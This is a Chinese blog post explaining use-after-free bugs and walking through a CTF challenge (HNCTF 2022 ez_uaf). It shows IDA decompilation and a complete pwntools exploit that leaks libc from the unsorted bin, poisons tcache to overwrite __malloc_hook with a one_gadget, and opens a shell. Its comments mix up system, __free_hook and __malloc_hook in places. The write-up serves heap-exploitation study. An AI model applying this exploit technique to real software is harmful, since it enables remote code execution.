UAF

UAF 即 Use After Free (释放后使用)当一个指针所指向的指针块被释放掉之后可以再次被使用, 但是这是有要求的,不妨将所有的情况列举出来

chunk被释放之后,其对应的指针被设置为NULL,如果再次使用它,程序就会崩溃。

chunk被释放之后,其对应的指针未被设置为NULL,如果在下一次使用之前没有代码对这块内存进行修改,那么再次使用这个指针时**程序很有可能正常运转**

内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,**就很有可能会出现奇怪的问题**

在堆中 Use After Free 一般指的是后两种漏洞, 我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer(悬空指针)

来看一道题

[HNCTF 2022 WEEK4]ez_uaf

ida静态分析

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  init_env(argc, argv, envp);
  puts("Easy Note.");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = getnum();
      if ( v3 != 4 )
        break;
      edit();
    }
    if ( v3 > 4 )
    {
LABEL_13:
      puts("Invalid!");
    }
    else if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 > 3 )
        goto LABEL_13;
      if ( v3 == 1 )
      {
        add();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_13;
        delete();
      }
    }
  }
}

进入菜单看看

int menu()
{
  puts("1.Add.");
  puts("2.Delete.");
  puts("3.Show.");
  puts("4.Edit.");
  return puts("Choice: ");
}

可以看到有四种功能

int add()
{
  __int64 v1; // rbx
  int i; // [rsp+0h] [rbp-20h]
  int v3; // [rsp+4h] [rbp-1Ch]

  for ( i = 0; i <= 15 && *((_QWORD *)&heaplist + i); ++i )
    ;
  if ( i == 16 )
  {
    puts("Full!");
    return 0;
  }
  else
  {
    puts("Size:");
    v3 = getnum();
    if ( (unsigned int)v3 > 0x500 )
    {
      return puts("Invalid!");
    }
    else
    {
      *((_QWORD *)&heaplist + i) = malloc(0x20uLL);
      if ( !*((_QWORD *)&heaplist + i) )
      {
        puts("Malloc Error!");
        exit(1);
      }
      v1 = *((_QWORD *)&heaplist + i);
      *(_QWORD *)(v1 + 16) = malloc(v3);
      if ( !*(_QWORD *)(*((_QWORD *)&heaplist + i) + 16LL) )
      {
        puts("Malloc Error!");
        exit(1);
      }
      *(_DWORD *)(*((_QWORD *)&heaplist + i) + 24LL) = v3;
      puts("Name: ");
      if ( !(unsigned int)read(0, *((void **)&heaplist + i), 0x10uLL) )
      {
        puts("Something error!");
        exit(1);
      }
      puts("Content:");
      if ( !(unsigned int)read(
                            0,
                            *(void **)(*((_QWORD *)&heaplist + i) + 16LL),
                            *(int *)(*((_QWORD *)&heaplist + i) + 24LL)) )
      {
        puts("Error!");
        exit(1);
      }
      *(_DWORD *)(*((_QWORD *)&heaplist + i) + 28LL) = 1;
      return puts("Done!");
    }
  }
}

Add函数

结构体设计

每个堆块包含:

  • 16字节的name字段
  • 8字节的content指针(指向数据区)
  • 4字节的size(数据区大小)
  • 4字节的status(使用状态)

结构体基地址分配

*((_QWORD *)&heaplist + i) = malloc(0x20uLL); // 分配 0x20 (32) 字节的结构体内存

总大小:0x20 字节(32 字节)
对应设计:整个结构体的大小为 32 字节,由后续字段的偏移总和验证。

结构体字段定义(通过偏移操作体现)

(1) name 字段(0x00-0x0F)

read(0, *((void **)&heaplist + i), 0x10uLL); // 向基地址写入 16 字节的 name

偏移:0x00(基地址起始位置
长度:0x10(16 字节)
操作:直接将用户输入的 16 字节数据写入结构体起始地址。

(2) content_ptr 字段(0x10-0x17)

*(_QWORD *)(v1 + 16) = malloc(v3); // 将 content 指针存入偏移 0x10 处
偏移:0x10(基地址 + 16 字节)

类型:_QWORD(64 位指针)

操作:

v1 是结构体基地址(heaplist[i])

v1 + 16 定位到 content_ptr 字段的地址

将 malloc(v3) 返回的 content 数据区指针存入此处

(3) size 字段(0x18-0x1B)

*(_DWORD *)(*((_QWORD *)&heaplist + i) + 24LL) = v3; // 将 size 存入偏移 0x18 处
偏移:0x18(基地址 + 24 字节)

类型:_DWORD(4 字节整数)

操作:将用户输入的 v3(content 大小)存入此处。

(4) status 字段(0x1C-0x1F)

*(_DWORD *)(*((_QWORD *)&heaplist + i) + 28LL) = 1; // 将 status 标记为 1(已使用)
偏移:0x1C(基地址 + 28 字节)

类型:_DWORD(4 字节整数)

操作:将状态标记为 1(表示该堆块已被占用)。

结构体内存布局总结
通过代码中的偏移操作,可以反推出结构体的完整内存布局:


struct HeapEntry {
    char name[16];        // 0x00-0x0F (16 bytes)
    void* content_ptr;    // 0x10-0x17 (8 bytes)
    int size;             // 0x18-0x1B (4 bytes)
    int status;           // 0x1C-0x1F (4 bytes)
}; // 总计 32 字节 (0x20)



代码验证
content_ptr 访问:

puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL)); // show 函数中的 content 输出
+16LL 对应 content_ptr 的偏移 0x10,验证了字段位置。

size 使用:


read(0, *(void **)(*((_QWORD *)&heaplist + i) + 16LL), *(int *)(*((_QWORD *)&heaplist + i) + 24LL));
+24LL 对应 size 字段的偏移 0x18,用于控制 read 的长度。
int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Input your idx:");
  v1 = getnum();
  if ( (unsigned int)v1 <= 0xF && *((_QWORD *)&heaplist + v1) )//负数索引验证和空指针检查
  {
    puts(*((const char **)&heaplist + v1));
    return puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL));
  }
  else
  {
    puts("Error idx!");
    return 0;
  }
}

show函数

输入索引

通过getnum()获取用户输入的索引值v1

索引有效性检查

if ( (unsigned int)v1 <= 0xF && *((_QWORD *)&heaplist + v1) )
  • 范围检查:将v1转为无符号整数后检查是否 <=15(0xF),防止负数索引
  • 空指针检查:确保heaplist[v1]指针非空(堆块已分配)

输出堆块信息

  • 输出 Name 字段

    puts(*((const char **)&heaplist + v1));
    
    • 直接输出结构体起始地址的 16 字节数据(即 name 字段)
    • 依赖 name\0 结尾(存在风险,见下文)
  • 输出 Content 数据

    puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL));
    
    • 从结构体偏移 0x10 处读取 content_ptr 指针
    • 输出 content_ptr 指向的数据,同样依赖 \0 终止符

总体思路

这道题提供了一个UAF条件来让我们进行UAF攻击

exp

from pwn import *

p = process("./ez_uaf")
#p = remote("node5.anna.nssctf.cn", 25763)
elf = ELF("./ez_uaf")

context.log_level = 'debug'

def add(size, name, content):
    p.recvuntil("Choice")
    p.sendline("1")
    p.recvuntil("Size")
    p.sendline(str(size))
    p.recvuntil("Name")
    p.sendline(name)
    p.recvuntil("Content")
    p.sendline(content)

def delete(idx):
    p.recvuntil("Choice")
    p.sendline("2")
    p.recvuntil("idx")
    p.sendline(str(idx))

def show(idx):
    p.recvuntil("Choice")
    p.sendline("3")
    p.recvuntil("idx")
    p.sendline(str(idx))


def edit(idx, content):
    p.recvuntil("Choice")
    p.sendline("4")
    p.recvuntil("idx")
    p.sendline(str(idx))
    p.sendline(content)

if __name__ == "__main__":
    for _ in range(7):
        add(0x80, "a", "b")

    add(0x80, "a", "b")
    add(0x20, "a", "b")

    for i in range(7):
        delete(i)

    delete(7)
    gdb.attach(p)
    show(7)
    
    leak_main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
    success(f"leak_main_arena: {hex(leak_main_arena)}")
    main_arena = leak_main_arena - 0x60
    success(f"main_arena: {hex(main_arena)}")
    libc_base = main_arena - 0x3ebc40
    success(f"libc base: {hex(libc_base)}")

    # tcache
    edit(6, p64(main_arena - 0x10))
    add(0x80, "1", "2")
    add(0x80, "1", p64(libc_base + 0x10a2fc))
    p.recvuntil("Choice")
    p.sendline("1")
    p.recvuntil("Size")
    p.sendline(str(16))

    # gdb.attach(p)
    p.interactive()

我们先来看攻击第一步,申请了七个堆块,然后又单独申请了大小分别为0x80和0x20的堆块

前七个堆块:

填充 tcache 的 0x80 大小单链表(默认最多缓存 7 个块)

第 8 个0x80堆块:

释放后会进入 unsorted bin,其 fd/bk 会指向 main_arena 地址

小堆块隔离防止堆合并

然后释放堆块

释放堆块制造漏洞环境

释放后内存状态

tcache[0x80] 链表已满(7 个块)

第 8 个堆块进入 unsorted bin,其 fd/bk 指向 main_arena(libc 地址)

泄露libc基地址

#python

show(7)  # 读取 unsorted bin 中的堆块内容
leak_main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
main_arena = leak_main_arena - 0x60
libc_base = main_arena - 0x3ebc40  # 根据 libc 版本调整偏移
  • unsorted bin 中的堆块 fd 指向 main_arena.topmain_arena + 0x60
  • 通过泄露的地址计算 libc_base(不同 libc 版本 main_arena 偏移不同

tcache poisoning 攻击

edit(6, p64(main_arena - 0x10))  # 修改 tcache 链表的 next 指针
add(0x80, "1", "2")              # 取出被污染的块,链表指向伪造地址
add(0x80, "1", p64(libc_base + 0x10a2fc))  # 分配到目标地址并写入 system

关键操作

  1. 修改 tcache 链表
    • 通过 edit(6) 修改第 6 个释放块(位于 tcache 链表头部)的 next 指针
    • 将其指向 main_arena - 0x10(伪造地址,可能对应 __free_hook 附近)
  2. 分配伪造堆块
    • 第一次 add 取出原链表头部,此时新链表头部指向伪造地址
    • 第二次 add 分配到伪造地址,写入 __free_hook 地址(需根据 libc 符号计算)//走任意执行
    • p64(libc_base + 0x10a2fc)systemone_gadget 地址(需根据目标 libc 调整)
    • 这道题我们走的是one_gadget

关键原理

__malloc_hook 机制
__malloc_hook 是 libc 的全局变量,指向一个函数指针。当调用 malloc 时,若该指针非空,会优先执行其指向的代码。

利用方式:通过 tcache 投毒,将 __malloc_hook 覆盖为 One-Gadget 地址,后续 malloc 调用会直接触发 shell。

posted @ 2025-07-09 15:22  shanlinchuanze  阅读(10)  评论(0)    收藏  举报